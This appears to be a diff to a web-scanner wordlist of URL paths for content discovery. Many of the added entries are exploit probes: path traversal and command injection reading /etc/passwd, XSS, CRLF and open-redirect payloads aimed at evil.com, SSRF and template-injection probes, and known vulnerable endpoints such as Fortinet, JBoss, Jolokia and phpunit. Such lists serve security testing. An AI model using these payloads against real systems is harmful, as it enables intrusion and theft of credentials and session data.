images2 images3 images/c99.php +/images../.git/config images/Sym.php imanager _img img img2 +/img../.git/config imgs immagini imp @@ -3998,6 +4371,7 @@ import_error.log import.php imports impressum +/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)// in in/ inbound @@ -4055,11 +4429,15 @@ index3.php index_adm index/admin index_admin +index.asp +index.aspx index-bak indexes index_files index.htm index.html +/index.jsp +index.jsp index_manage __index.php _index.php @@ -4070,6 +4448,9 @@ index.php4 index.php5 index.php-bak index.php.bak +/index.php?redirect=//evil.com +/index.php?redirect=/\/evil.com/ +/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E index.tar.gz index-test.php index_var_de @@ -4088,7 +4469,9 @@ influxdb/ .influx_history info info.json +/info.php info.php +/infophp.php information informer infos @@ -4134,6 +4517,7 @@ InstalledFiles installed.json installer installer_files/ +/installer-log.txt installer-log.txt installer.php install.htm @@ -4159,6 +4543,7 @@ INSTALL.pgsql install.pgsql.txt INSTALL.pgsql.txt install.php +/install.php?profile=default install.rdf install-sh install.sql @@ -4212,10 +4597,14 @@ invite invoice invoices invoker/ +/invoker/EJBInvokerServlet/ +invoker/EJBInvokerServlet +/invoker/JMXInvokerServlet/ invoker/JMXInvokerServlet invoker/readonly/JMXInvokerServlet invoker/restricted/JMXInvokerServlet ioncube +?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23 iOSInjectionProject/ io.swf ip @@ -4223,6 +4612,7 @@ ipc ipch/ ipdata iphone +/i.php i.php ipn ipod @@ -4236,6 +4626,7 @@ irc irc-macadmin irc-macadmin/ irequest/ +/irj/portal is isadmin isadmin.php @@ -4266,6 +4657,7 @@ jakarta Jakefile japan jar +/jasperserver/login.html?error=1 java Java javac @@ -4293,6 +4685,7 @@ jdk .jekyll-metadata jenkins jenkins/ +/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample Jenkinsfile jennifer jessica @@ -4302,11 +4695,17 @@ jhtml jigsaw jira jira/ +/jira/secure/Dashboard.jspa jj jk jk/ +/jkstatus +/jkstatus/ +/jkstatus; +/jmx-console/ jmx-console jmx-console/ +jmx-console/HtmlAdaptor jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo JMXSoapAdapter job @@ -4316,9 +4715,14 @@ joe john join joinrequests +/jolokia jolokia jolokia/ +/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml +/jolokia/list jolokia/list +/jolokia/read?mimeType=text/html +/jolokia/version joomla joomla/ joomla/administrator @@ -4327,6 +4731,8 @@ joomla.rar joomla.xml joomla.zip jo.php +/josso/%5C../invoker/EJBInvokerServlet/ +/josso/%5C../invoker/JMXInvokerServlet/ journal journals jp @@ -4353,6 +4759,7 @@ jsession jsf js/FCKeditor jsFiles +/js../.git/config .jshintignore .jshintrc js-lib @@ -4464,6 +4871,7 @@ langs language languages laptops +/laravel_api/vendor/phpunit/phpunit/phpunit large .last_cover_stats lastnews @@ -4486,9 +4894,11 @@ _layouts _layouts/ layouts layouts/ +/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D _layouts/alllibs.htm _layouts/settings.htm _layouts/userinfo.htm +lbs ldap ldap/ ldap.prop @@ -4517,6 +4927,7 @@ letmein/ letmein.php letters level +/lfm.php lg lg/ lg/lg.conf @@ -4538,6 +4949,8 @@ lib/flex/varien/.actionScriptProperties lib/flex/varien/.flexLibProperties lib/flex/varien/.project lib/flex/varien/.settings +/lib../.git/config +/lib/phpunit/phpunit/phpunit librairies libraries libraries/ @@ -4590,6 +5003,7 @@ linktous.html linusadmin-phpinfo.php linux Linux +/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; liquibase lisence lisense @@ -4640,6 +5054,7 @@ local/composer.phar local.config.rb locale .localeapp/ +/localhost.sql localhost.sql local.properties localsettings.php~ @@ -4679,11 +5094,13 @@ log/access_log logar/ log/authorizenet.log log/development.log +/log/error.log _log/error-log _log/error.log _log/error_log log/error.log log/error_log +/log/errors.log log_errors.txt log/exception.log logexpcus.txt @@ -4693,6 +5110,7 @@ LogFiles logfile.txt logfileview logger +/loggers loggers loggers/ loggers.json @@ -4700,6 +5118,7 @@ logging log.htm log.html .login +/login log-in log-in/ log_in @@ -4707,6 +5126,7 @@ log_in/ login login. login/ +/Login?! Login login1 login1. @@ -4730,6 +5150,7 @@ login.htm login.html login/index login.json +/login.jsp login/login login/login.php loginok/ @@ -4766,6 +5187,8 @@ logoff log/old logon logon/ +/logon/LogonPoint/custom.html +/logon/LogonPoint/index.html logos logo_sysadmin logo_sysadmin/ @@ -4793,11 +5216,13 @@ logs/access_log logs_backup/ logs_console/ _logs/err.log +/logs/error.log _logs/error-log _logs/error.log _logs/error_log logs/error.log logs/error_log +/logs/errors.log log/server.log logs.htm logs.html @@ -4817,6 +5242,7 @@ logs/www-error.log log/test.log .log.txt log.txt +/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E logview log/www-error.log loja @@ -4875,6 +5301,8 @@ magic magic.default magmi/ magmi/conf/magmi.ini +/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C +/magmi/web/js/magmi_utils.js magnifier_xml magpierss ~mail @@ -4937,6 +5365,7 @@ manage/admin.asp managed manage_index manage/login.asp +/management management management/ management/configprops @@ -4948,6 +5377,8 @@ manage.py manager manager/ manager/admin.asp +/..;/manager/html +/manager/html manager/html manager/ispmgr/ manager/login @@ -4971,6 +5402,7 @@ manuals manufacturer manufacturers map +/mappings mappings mappings.json maps @@ -5017,6 +5449,7 @@ media/ Media media_center media/export-criteo.xml +/media../.git/config mediakit mediaplayer medias @@ -5104,14 +5537,17 @@ META.yml metric metric/ .metrics +/metrics metrics metrics/ metrics.json metric_tracking metric_tracking.json +/mgmt/tm/sys/management-ip mgr michael microsoft +/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com mics/ mics/mics.html midi @@ -5163,6 +5599,7 @@ moadmin.php mobi mobil mobile +/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms:// mock mock/ mod @@ -5207,6 +5644,7 @@ modules modules/ modules/admin/ modules.order +/modules/vendor/phpunit/phpunit/phpunit Module.symvers modulos mojo @@ -5322,6 +5760,7 @@ mysql/dbadmin/ mysql_debug.sql mysqldumper mysqldumper/ +/mysqldump.sql mysql.err .mysql_history mysql/index.php @@ -5334,6 +5773,7 @@ mysql.php mysql/pma/ mysql/pMA/ mysql/scripts/setup.php +/mysql.sql mysql/sqlmanager/ mysql.tar.gz mysql/web/ @@ -5419,6 +5859,7 @@ new.zip next nextcloud nextcloud/ +/_next/static/../server/pages-manifest.json nfs nfs/ ng-cli-backup.json @@ -5447,6 +5888,7 @@ node .nodelete node_modules node_modules/ +/node_modules/../../../../../etc/passwd .node_repl_history nohup.out no-index @@ -5496,6 +5938,7 @@ nuke nul null number +/nuxeo/login.jsp/pwn${31333333330+7 nwp-content/ nwp-content/plugins/disqus-comment-system/disqus.php nxfeed @@ -5507,6 +5950,7 @@ O OA OAErrorDetailPage OA_HTML +/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/ OasDefault oa_servlets oauth @@ -5547,9 +5991,11 @@ old-site old_site old_site/ oldsite +/oldsite/vendor/phpunit/phpunit/phpunit .oldsnippets .oldstatic old.tar.gz +/old/vendor/phpunit/phpunit/phpunit old.zip omited on @@ -5687,10 +6133,12 @@ packed packer_cache/ pad page +/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection page_1 page1 page_2 page2 +/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com pageid page-not-found pagenotfound @@ -5706,6 +6154,7 @@ pages/admin/admin-login pages/admin/admin-login.html pages/admin/admin-login.php page_sample1 +/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%281337%29%22%3E.vm pages/moderator.php pagination paid @@ -5731,6 +6180,7 @@ panelc panel.php paper papers +/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING parse part partenaires @@ -5868,6 +6318,7 @@ php5.fcgi php5.ini phpadmin phpadmin/ +/php/adminer.php phpadmin/index.php phpadminmy/ phpads @@ -5917,6 +6368,9 @@ php-fpm/error.log php-fpm/www-error.log .php_history phpinfo +/?phpinfo=-1 +/php_info.php +/phpinfo.php php-info.php phpinfo.php phpinfo.php3 @@ -5960,6 +6414,8 @@ phpMy/ phpMyA/ phpmyad/ phpMyAdmi/ +/_phpmyadmin/ +/phpmyadmin/ _phpmyadmin/ php-my-admin/ php-myadmin/ @@ -6115,8 +6571,10 @@ phpnuke phppgadmin phppgadmin/ phpPgAdmin/ +/php.php php.php php/php.cgi +/php/phpmyadmin/ phppma/ phpRedisAdmin/ phpredmin/ @@ -6143,6 +6601,7 @@ phpunit.xml.dist php_uploads .php-version .phpversion +/phpversion.php phtml phymyadmin/ pic @@ -6154,6 +6613,7 @@ picture_library pictures pids pii +/pinfo.php pinfo.php ping pingback @@ -6202,11 +6662,15 @@ plenty plesk-stat pls plugin +/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search plugins plugins/ plugins/editors/fckeditor plugins/fckeditor plugins.log +/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname +/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json +/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload_f9.swf plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf plugins/tiny_mce/ @@ -6216,6 +6680,7 @@ plugins/web.config plugin.xml plupload plus +/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C plx pm __pma___ @@ -6298,6 +6763,7 @@ porn port portal portal/ +portal/info.jsp portals portfolio portfoliofiles @@ -6329,6 +6795,7 @@ power_user/ pp ppc ppcredir +/?pp=env p.php ppt pr @@ -6437,6 +6904,7 @@ professor profil .profile profile +/_profiler/phpinfo profiles profiles.xml profiling @@ -6494,6 +6962,7 @@ proxies proxy proxy/ proxy.pac +/proxy.stream?origin=http://burpcollaborator.net/ proxy.stream?origin=https://google.com prueba pruebas @@ -6517,6 +6986,8 @@ ptopic pub public public.. +/public/adminer.php +/publicadminer.php publication publication_list.xml publications @@ -6546,6 +7017,7 @@ push put putty putty.reg +pview/ _Pvt_Extensions pw pw_ajax @@ -6569,10 +7041,12 @@ python q q1 q2 +/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E q3 q4 qa qa/ +/?q=admin/views/ajax/autocomplete/user/a qinetiq .qmake.cache .qmake.stash @@ -6598,6 +7072,7 @@ quikstore.cfg quiz quote quotes +/?q=views/ajax/autocomplete/user/a r R r00t.php @@ -6629,6 +7104,7 @@ ranks .rar rar rarticles +/RASHTML5Gateway/ rate ratecomment rateit @@ -6639,6 +7115,7 @@ rating rating0 ratings .raw +/__raw/services/server/info/server-info?output_mode=json raygun raygun/ rb @@ -6744,6 +7221,7 @@ reginternal region regional register +register/check/username?username=thisaccountdoesntexist registered register.php registration @@ -6769,7 +7247,9 @@ reminder remind_password remote remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd +/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession +/remote/login .remote-sync.json remotetracer removal @@ -6796,6 +7276,7 @@ reporting _reports reports reports list +/Reports/Pages/Folder.aspx repository repost reprints @@ -6841,10 +7322,14 @@ responder rest rest/ rest-api/ +/rest/api/2/dashboard?maxResults=100 +/rest/api/2/project?maxResults=100 +/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true restart restart.json restaurants rest-auth/ +/rest/beta/repositories/go/group restore restored restore.php @@ -6880,6 +7365,7 @@ robot robotics robots .robots.txt +/robots.txt robots.txt robots.txt.dist robot.txt @@ -7042,6 +7528,7 @@ search_result search-results search_results searchresults +/search?search_key={{1337*1338 searchurl sec seccode @@ -7062,13 +7549,19 @@ secure secure/ secureauth secured +/secure/Dashboard.jspa secureform secure_login +secure/ManageFilters.jspa +/secure/ManageFilters.jspa?filter=popular&filterView=popular +/secure/popups/UserPickerBrowser.jspa secureprocess securimage security security/ Security +securityRealm/createAccount +/security.txt seed select selectaddress @@ -7079,6 +7572,7 @@ selenium selenium/ self sell +/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E sem seminar seminars @@ -7126,11 +7620,13 @@ server.js ServerList.cfg ServerList.xml server.log +server-manager/html Server.php server.pid servers server/server.js server_stats +/server-status server-status server-status/ serverStatus.log @@ -7138,6 +7634,7 @@ servers.xml server.xml service service.asmx +/servicedesk/customer/user/signup ServiceFabricBackup/ servicelist service-registry/instance-status @@ -7158,8 +7655,10 @@ servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml servlet/Oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml servlets Servlets +/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError servlets-examples servlet/SnoopServlet +/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com serv-u.ini sess session @@ -7192,6 +7691,7 @@ settings.php.save settings.php.swp settings.php.txt settings.py +/.settings/rules.json?auth=FIREBASE_SECRET Settings/ui.plist settings.xml setup @@ -7206,6 +7706,7 @@ sf sff/ sftp-config.json sg +/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow>